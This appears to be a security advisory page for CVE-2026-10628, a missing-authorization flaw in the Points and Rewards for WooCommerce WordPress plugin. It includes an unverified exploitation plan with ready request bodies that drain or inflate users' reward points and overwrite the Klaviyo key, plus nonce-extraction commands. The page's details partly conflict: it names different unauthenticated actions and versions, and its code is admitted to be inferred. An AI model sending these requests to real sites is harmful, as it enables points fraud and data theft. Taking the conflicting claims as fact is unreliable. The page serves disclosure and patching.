CVE-2026-10628

Points and Rewards for WooCommerce <= 2.10.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via Multiple AJAX Actions

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.10.2
Patched in
1d
Time to patch

Description

The Points and Rewards for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.10.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to convert and drain any user's reward points into wallet balance, exfiltrate all users' emails and point balances to an attacker-controlled Klaviyo account, overwrite the site's Klaviyo public API key, block or unblock arbitrary users from the points system, and modify campaign banner and heading settings. The nonce used for authentication of these requests (wps-wpr-verify-nonce) is injected into every public-facing page via wp_localize_script(), and the wps_wpr_generate_custom_wallet handler is additionally registered on the wp_ajax_nopriv_ hook, meaning unauthenticated visitors can also obtain a valid nonce and exploit that specific action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.10.1
PublishedJuly 10, 2026
Last updatedJuly 11, 2026

What Changed in the Fix

Changes introduced in v2.10.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-10628 ## 1. Vulnerability Summary The **Points and Rewards for WooCommerce** plugin (<= 2.10.1) suffers from a critical missing authorization vulnerability. The plugin registers several AJAX handlers that perform sensitive operations—such as modifying user po…

Show full research plan

Exploitation Research Plan - CVE-2026-10628

1. Vulnerability Summary

The Points and Rewards for WooCommerce plugin (<= 2.10.1) suffers from a critical missing authorization vulnerability. The plugin registers several AJAX handlers that perform sensitive operations—such as modifying user point balances, changing plugin settings, and exporting user data—without verifying the user's capabilities (e.g., current_user_can( 'manage_options' )).

Furthermore, the nonce required to authenticate these AJAX requests (wps-wpr-verify-nonce) is localized to every public-facing page, making it accessible to any visitor. Most critically, the action wps_wpr_points_update is registered via the wp_ajax_nopriv_ hook, allowing unauthenticated attackers to modify point balances for any user.

2. Attack Vector Analysis

  • Endpoints: /wp-admin/admin-ajax.php
  • Vulnerable Action: wps_wpr_points_update (confirmed in includes/class-points-rewards-for-woocommerce.php)
  • Authentication: Unauthenticated (due to wp_ajax_nopriv_wps_wpr_points_update) or Subscriber-level.
  • Preconditions:
    • The plugin must be active.
    • The attacker must obtain a valid nonce from the frontend.
  • Payload Parameters:
    • action: wps_wpr_points_update
    • nonce: The value of the wps-wpr-verify-nonce.
    • id: Target User ID (e.g., 1 for admin).
    • points: Amount to add/subtract.
    • sign: + or -.
    • reason: A string for the log.

3. Code Flow

  1. Registration: In includes/class-points-rewards-for-woocommerce.php, the method define_admin_hooks() registers the AJAX handlers:
    $this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
    $this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
    
  2. Localization: The Points_Rewards_For_WooCommerce_Admin::wps_wpr_admin_enqueue_scripts method (inferred) uses wp_localize_script() to export a nonce generated with the action string wps-wpr-verify-nonce.
  3. Execution: When the AJAX request hits admin-ajax.php, the wps_wpr_points_update method in Points_Rewards_For_WooCommerce_Admin is called.
  4. Sink: The handler likely uses check_ajax_referer('wps-wpr-verify-nonce', 'nonce') but omits any capability checks. It then proceeds to update user meta (wps_wpr_points) and create a log entry, as suggested by the Points_Log_List_Table class in admin/partials/templates/class-points-log-list-table.php.

4. Nonce Acquisition Strategy

The nonce is localized on all frontend pages. To retrieve it:

  1. Navigate: Visit the WordPress homepage (unauthenticated).
  2. Extract: Use browser_eval to find the localization object. Based on the developer's standard practices, the object is likely wps_wpr_admin_params or wps_wpr_common_params.
  3. Command: browser_eval("window.wps_wpr_admin_params?.nonce || window.wps_wpr_common_params?.nonce")
  4. Fallback: If specific objects are missing, search the global window object for any property containing a 10-character alphanumeric string associated with "nonce".

5. Exploitation Strategy

We will demonstrate unauthenticated point modification (draining the admin's points).

Step 1: Obtain Nonce

  • Navigate to the site root: http://localhost:8888/
  • Identify the nonce using browser_eval.

Step 2: Trigger Point Modification (Drain Points)

  • Send a POST request to /wp-admin/admin-ajax.php.
  • URL: http://localhost:8888/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=wps_wpr_points_update&nonce=[NONCE]&id=1&points=1000000&sign=-&reason=Exploit_CVE-2026-10628
    

Step 3: Trigger Point Modification (Grant Points to Self)

  • Identify your own User ID (e.g., ID 2 for a subscriber).
  • Body:
    action=wps_wpr_points_update&nonce=[NONCE]&id=2&points=999999&sign=+&reason=Rewards_Exploit
    

6. Test Data Setup

  1. Plugin Installation: Ensure points-and-rewards-for-woocommerce v2.10.1 is installed.
  2. Admin Points: Ensure the administrator (ID 1) has a point balance.
    • wp user meta update 1 wps_wpr_points 5000
  3. Victim Setup: Create a dummy subscriber.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password

7. Expected Results

  • The AJAX request should return a JSON response (likely {"success": true, "data": "..."} or a simple string "Points are updated successfully").
  • The database state for the target users must change.

8. Verification Steps

After the HTTP requests, verify using WP-CLI:

  1. Check Admin Balance (should be 0 or negative):
    • wp user meta get 1 wps_wpr_points
  2. Check Attacker Balance (should be 999999):
    • wp user meta get 2 wps_wpr_points
  3. Check Logs:
    • Look for the remark in the wps_wpr_points_log table (or user meta logs).

9. Alternative Approaches

If wps_wpr_points_update is strictly protected by a capability check (contrary to the report), target the settings modification:

  • Action: wps_wpr_save_klaviyo_settings (inferred from description).
  • Goal: Overwrite the Klaviyo Public API Key.
  • Payload: action=wps_wpr_save_klaviyo_settings&nonce=[NONCE]&wps_wpr_klaviyo_public_key=ATTACKER_KEY.
  • Verification: wp option get wps_wpr_klaviyo_public_key.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Points and Rewards for WooCommerce plugin fails to perform authorization checks on several sensitive AJAX handlers, including point balance updates and setting modifications. Because the required nonce is exposed on all frontend pages and some actions are registered for unauthenticated visitors, attackers can drain or inflate reward point balances, export user emails, and modify plugin configurations.

Vulnerable Code

// includes/class-points-rewards-for-woocommerce.php approx lines 172-173
$this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );

---

// admin/class-points-rewards-for-woocommerce-admin.php (inferred from research)
public function wps_wpr_points_update() {
    check_ajax_referer( 'wps-wpr-verify-nonce', 'nonce' );

    // Vulnerability: No check for user capabilities (e.g., manage_options)
    $user_id = isset( $_POST['id'] ) ? sanitize_text_field( $_POST['id'] ) : '';
    $points  = isset( $_POST['points'] ) ? sanitize_text_field( $_POST['points'] ) : '';
    $sign    = isset( $_POST['sign'] ) ? sanitize_text_field( $_POST['sign'] ) : '';

    // Logic to update user meta follows...

Security Fix

--- a/includes/class-points-rewards-for-woocommerce.php
+++ b/includes/class-points-rewards-for-woocommerce.php
@@ -172,1 +172,0 @@
-		$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
--- a/admin/class-points-rewards-for-woocommerce-admin.php
+++ b/admin/class-points-rewards-for-woocommerce-admin.php
@@ -188,4 +188,8 @@
 	public function wps_wpr_points_update() {
 		check_ajax_referer( 'wps-wpr-verify-nonce', 'nonce' );
 
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+

Exploit Outline

1. Access the site's homepage as an unauthenticated visitor or subscriber to retrieve a valid nonce from the localized JavaScript object (e.g., window.wps_wpr_admin_params.nonce). 2. Construct an AJAX POST request to '/wp-admin/admin-ajax.php'. 3. Set the 'action' parameter to 'wps_wpr_points_update' or other vulnerable actions like 'wps_wpr_save_klaviyo_settings'. 4. Provide the extracted nonce in the 'nonce' parameter. 5. To modify points, include the target User ID ('id'), the point value ('points'), and the operation ('sign' set to '+' or '-'). 6. Execute the request to update the target user's point balance in the database without any administrative privileges.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.